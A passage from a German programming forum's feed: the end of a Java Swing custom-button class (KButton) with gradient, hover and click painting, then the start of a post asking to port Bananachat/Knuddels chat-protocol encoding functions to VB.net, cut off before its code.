/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KButton&nbsp;button&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">KButton</span><span style="color: #007700">)</span><span style="color: #0000BB">evt</span><span style="color: #007700">.</span><span style="color: #0000BB">getComponent</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">hover&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@</span><span style="color: #0000BB">Override<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">void&nbsp;mousePressed</span><span style="color: #007700">(</span><span style="color: #0000BB">java</span><span style="color: #007700">.</span><span style="color: #0000BB">awt</span><span style="color: #007700">.</span><span style="color: #0000BB">event</span><span style="color: #007700">.</span><span style="color: #0000BB">MouseEvent&nbsp;evt</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KButton&nbsp;button&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">KButton</span><span style="color: #007700">)</span><span style="color: #0000BB">evt</span><span style="color: #007700">.</span><span style="color: #0000BB">getComponent</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">clicked&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">true</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;@</span><span style="color: #0000BB">Override<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">void&nbsp;mouseReleased</span><span style="color: #007700">(</span><span style="color: #0000BB">java</span><span style="color: #007700">.</span><span style="color: #0000BB">awt</span><span style="color: #007700">.</span><span style="color: #0000BB">event</span><span style="color: #007700">.</span><span style="color: #0000BB">MouseEvent&nbsp;evt</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">KButton&nbsp;button&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">KButton</span><span style="color: #007700">)</span><span style="color: #0000BB">evt</span><span style="color: #007700">.</span><span style="color: #0000BB">getComponent</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">button</span><span style="color: #007700">.</span><span style="color: #0000BB">clicked&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">GradientPaint&nbsp;paint2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">KButton</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">super</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">addMouseListener</span><span style="color: #007700">(new&nbsp;</span><span style="color: #0000BB">KButton_MouseEvents</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Color&nbsp;background2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">WHITE</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Color&nbsp;borderColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">.</span><span style="color: #0000BB">BLACK</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Color&nbsp;getBorderColor</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">borderColor</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setBorderColor</span><span style="color: #007700">(</span><span style="color: #0000BB">Color&nbsp;c</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">borderColor&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Color&nbsp;getBackground2</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">background2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">void&nbsp;setBackground2</span><span style="color: #007700">(</span><span style="color: #0000BB">Color&nbsp;c</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">background2&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">c</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">boolean&nbsp;hover&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">boolean&nbsp;clicked&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Paint&nbsp;paintBackground</span><span style="color: #007700">(</span><span style="color: #0000BB">Graphics&nbsp;g</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//background<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Graphics2D&nbsp;g2&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">Graphics2D</span><span style="color: #007700">)</span><span style="color: #0000BB">g</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Paint&nbsp;old&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">g2</span><span style="color: #007700">.</span><span style="color: #0000BB">getPaint</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//background<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g2</span><span style="color: #007700">.</span><span style="color: #0000BB">setColor</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getBackground</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g2</span><span style="color: #007700">.</span><span style="color: #0000BB">fillRoundRect</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,</span><span style="color: #0000BB">0</span><span style="color: #007700">,</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getWidth</span><span style="color: #007700">()-</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getHeight</span><span style="color: #007700">()-</span><span style="color: #0000BB">1</span><span style="color: #007700">,</span><span style="color: #0000BB">6</span><span style="color: #007700">,</span><span style="color: #0000BB">6</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//bckground//shine<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color&nbsp;transp1&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getBackground2</span><span style="color: #007700">().</span><span style="color: #0000BB">getRed</span><span style="color: #007700">(),</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getBackground2</span><span style="color: #007700">().</span><span style="color: #0000BB">getBlue</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getBackground2</span><span style="color: #007700">().</span><span style="color: #0000BB">getGreen</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">180</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color&nbsp;transp2&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getBackground2</span><span style="color: #007700">().</span><span style="color: #0000BB">getRed</span><span style="color: #007700">(),</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getBackground2</span><span style="color: #007700">().</span><span style="color: #0000BB">getBlue</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getBackground2</span><span style="color: #007700">().</span><span style="color: #0000BB">getGreen</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">50</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">paint2&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">GradientPaint</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,</span><span style="color: #0000BB">0</span><span style="color: #007700">,</span><span style="color: #0000BB">transp1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getHeight</span><span style="color: #007700">()/</span><span style="color: #0000BB">2</span><span style="color: #007700">,</span><span style="color: #0000BB">transp2</span><span style="color: #007700">,</span><span style="color: #0000BB">true</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g2</span><span style="color: #007700">.</span><span style="color: #0000BB">setPaint</span><span style="color: #007700">(</span><span style="color: #0000BB">paint2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(!</span><span style="color: #0000BB">clicked</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g2</span><span style="color: #007700">.</span><span style="color: #0000BB">fillRoundRect</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,</span><span style="color: #0000BB">0</span><span style="color: #007700">,</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getWidth</span><span style="color: #007700">()-</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getHeight</span><span style="color: #007700">())/</span><span style="color: #0000BB">2</span><span style="color: #007700">,</span><span style="color: #0000BB">6</span><span style="color: #007700">,</span><span style="color: #0000BB">6</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g2</span><span style="color: #007700">.</span><span style="color: #0000BB">fillRoundRect</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getHeight</span><span style="color: #007700">())/</span><span style="color: #0000BB">2</span><span style="color: #007700">,</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getWidth</span><span style="color: #007700">()-</span><span style="color: #0000BB">1</span><span style="color: #007700">,(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getHeight</span><span style="color: #007700">()-</span><span style="color: #0000BB">2</span><span style="color: #007700">)/</span><span style="color: #0000BB">2</span><span style="color: #007700">,</span><span style="color: #0000BB">6</span><span style="color: #007700">,</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//hovereffectz<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g2</span><span style="color: #007700">.</span><span style="color: #0000BB">setPaint</span><span style="color: #007700">(</span><span style="color: #0000BB">old</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(</span><span style="color: #0000BB">hover</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//background<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Color&nbsp;transp3&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Color</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getBackground2</span><span style="color: #007700">().</span><span style="color: #0000BB">getRed</span><span style="color: #007700">(),</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getBackground2</span><span style="color: #007700">().</span><span style="color: #0000BB">getBlue</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getBackground2</span><span style="color: #007700">().</span><span style="color: #0000BB">getGreen</span><span style="color: #007700">(),&nbsp;</span><span style="color: #0000BB">30</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g2</span><span style="color: #007700">.</span><span style="color: #0000BB">setColor</span><span style="color: #007700">(</span><span style="color: #0000BB">transp3</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g2</span><span style="color: #007700">.</span><span style="color: #0000BB">fillRoundRect</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,</span><span style="color: #0000BB">0</span><span style="color: #007700">,</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getWidth</span><span style="color: #007700">()-</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getHeight</span><span style="color: #007700">()-</span><span style="color: #0000BB">1</span><span style="color: #007700">,</span><span style="color: #0000BB">6</span><span style="color: #007700">,</span><span style="color: #0000BB">6</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">old</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;@</span><span style="color: #0000BB">Override<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">void&nbsp;paintBorder</span><span style="color: #007700">(</span><span style="color: #0000BB">Graphics&nbsp;gtmp</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Graphics2D&nbsp;g&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">Graphics2D</span><span style="color: #007700">)</span><span style="color: #0000BB">gtmp</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g</span><span style="color: #007700">.</span><span style="color: #0000BB">setColor</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getBorderColor</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g</span><span style="color: #007700">.</span><span style="color: #0000BB">drawRoundRect</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,</span><span style="color: #0000BB">0</span><span style="color: #007700">,</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getWidth</span><span style="color: #007700">()-</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getHeight</span><span style="color: #007700">()-</span><span style="color: #0000BB">1</span><span style="color: #007700">,</span><span style="color: #0000BB">6</span><span style="color: #007700">,</span><span style="color: #0000BB">6</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;@</span><span style="color: #0000BB">Override<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">public&nbsp;</span><span style="color: #0000BB">void&nbsp;paintComponent</span><span style="color: #007700">(</span><span style="color: #0000BB">Graphics&nbsp;g</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;{<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Graphics2D&nbsp;g2&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">Graphics2D</span><span style="color: #007700">)</span><span style="color: #0000BB">g</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Paint&nbsp;oldPaint&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">paintBackground</span><span style="color: #007700">(</span><span style="color: #0000BB">g2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//schrift<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g2</span><span style="color: #007700">.</span><span style="color: #0000BB">setPaint</span><span style="color: #007700">(</span><span style="color: #0000BB">oldPaint</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;text&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getText</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g2</span><span style="color: #007700">.</span><span style="color: #0000BB">setFont</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getFont</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g2</span><span style="color: #007700">.</span><span style="color: #0000BB">setColor</span><span style="color: #007700">(</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">getForeground</span><span style="color: #007700">());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">FontMetrics&nbsp;metrics&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">g2</span><span style="color: #007700">.</span><span style="color: #0000BB">getFontMetrics</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;w</span><span style="color: #007700">=</span><span style="color: #0000BB">metrics</span><span style="color: #007700">.</span><span style="color: #0000BB">stringWidth</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;h</span><span style="color: #007700">=</span><span style="color: #0000BB">metrics</span><span style="color: #007700">.</span><span style="color: #0000BB">getHeight</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Dimension&nbsp;d</span><span style="color: #007700">=</span><span style="color: #0000BB">getSize</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;x</span><span style="color: #007700">=(</span><span style="color: #0000BB">d</span><span style="color: #007700">.</span><span style="color: #0000BB">width</span><span style="color: #007700">-</span><span style="color: #0000BB">w</span><span style="color: #007700">)/</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;y</span><span style="color: #007700">=(</span><span style="color: #0000BB">d</span><span style="color: #007700">.</span><span style="color: #0000BB">height</span><span style="color: #007700">-</span><span style="color: #0000BB">h</span><span style="color: #007700">)/</span><span style="color: #0000BB">2</span><span style="color: #007700">+</span><span style="color: #0000BB">metrics</span><span style="color: #007700">.</span><span style="color: #0000BB">getAscent</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g2</span><span style="color: #007700">.</span><span style="color: #0000BB">drawString</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">x</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">y</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div></div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>DeKaDeNz</dc:creator>
			<guid isPermaLink="true">sourcecode-91/kbutton-6710</guid>
		</item>
		<item>
			<title>Bananachat / Knuddels Encoding und Decoding</title>
			<link>sourcecode-91/bananachat-knuddels-encoding-decoding-6262?goto=newpost</link>
			<pubDate>Thu, 02 Feb 2012 17:06:51 GMT</pubDate>
			<description>Hallo, 
 
kann vielleicht jemand die 2 Funktionen aus der Bananachat(von Flav) Protocol Datei nach Vb.net umschreiben? 
 
Code ist so : 
 
 
 
PHP:...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
kann vielleicht jemand die 2 Funktionen aus der Bananachat(von Flav) Protocol Datei nach Vb.net umschreiben?<br />
<br />
Code ist so :<br />
<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
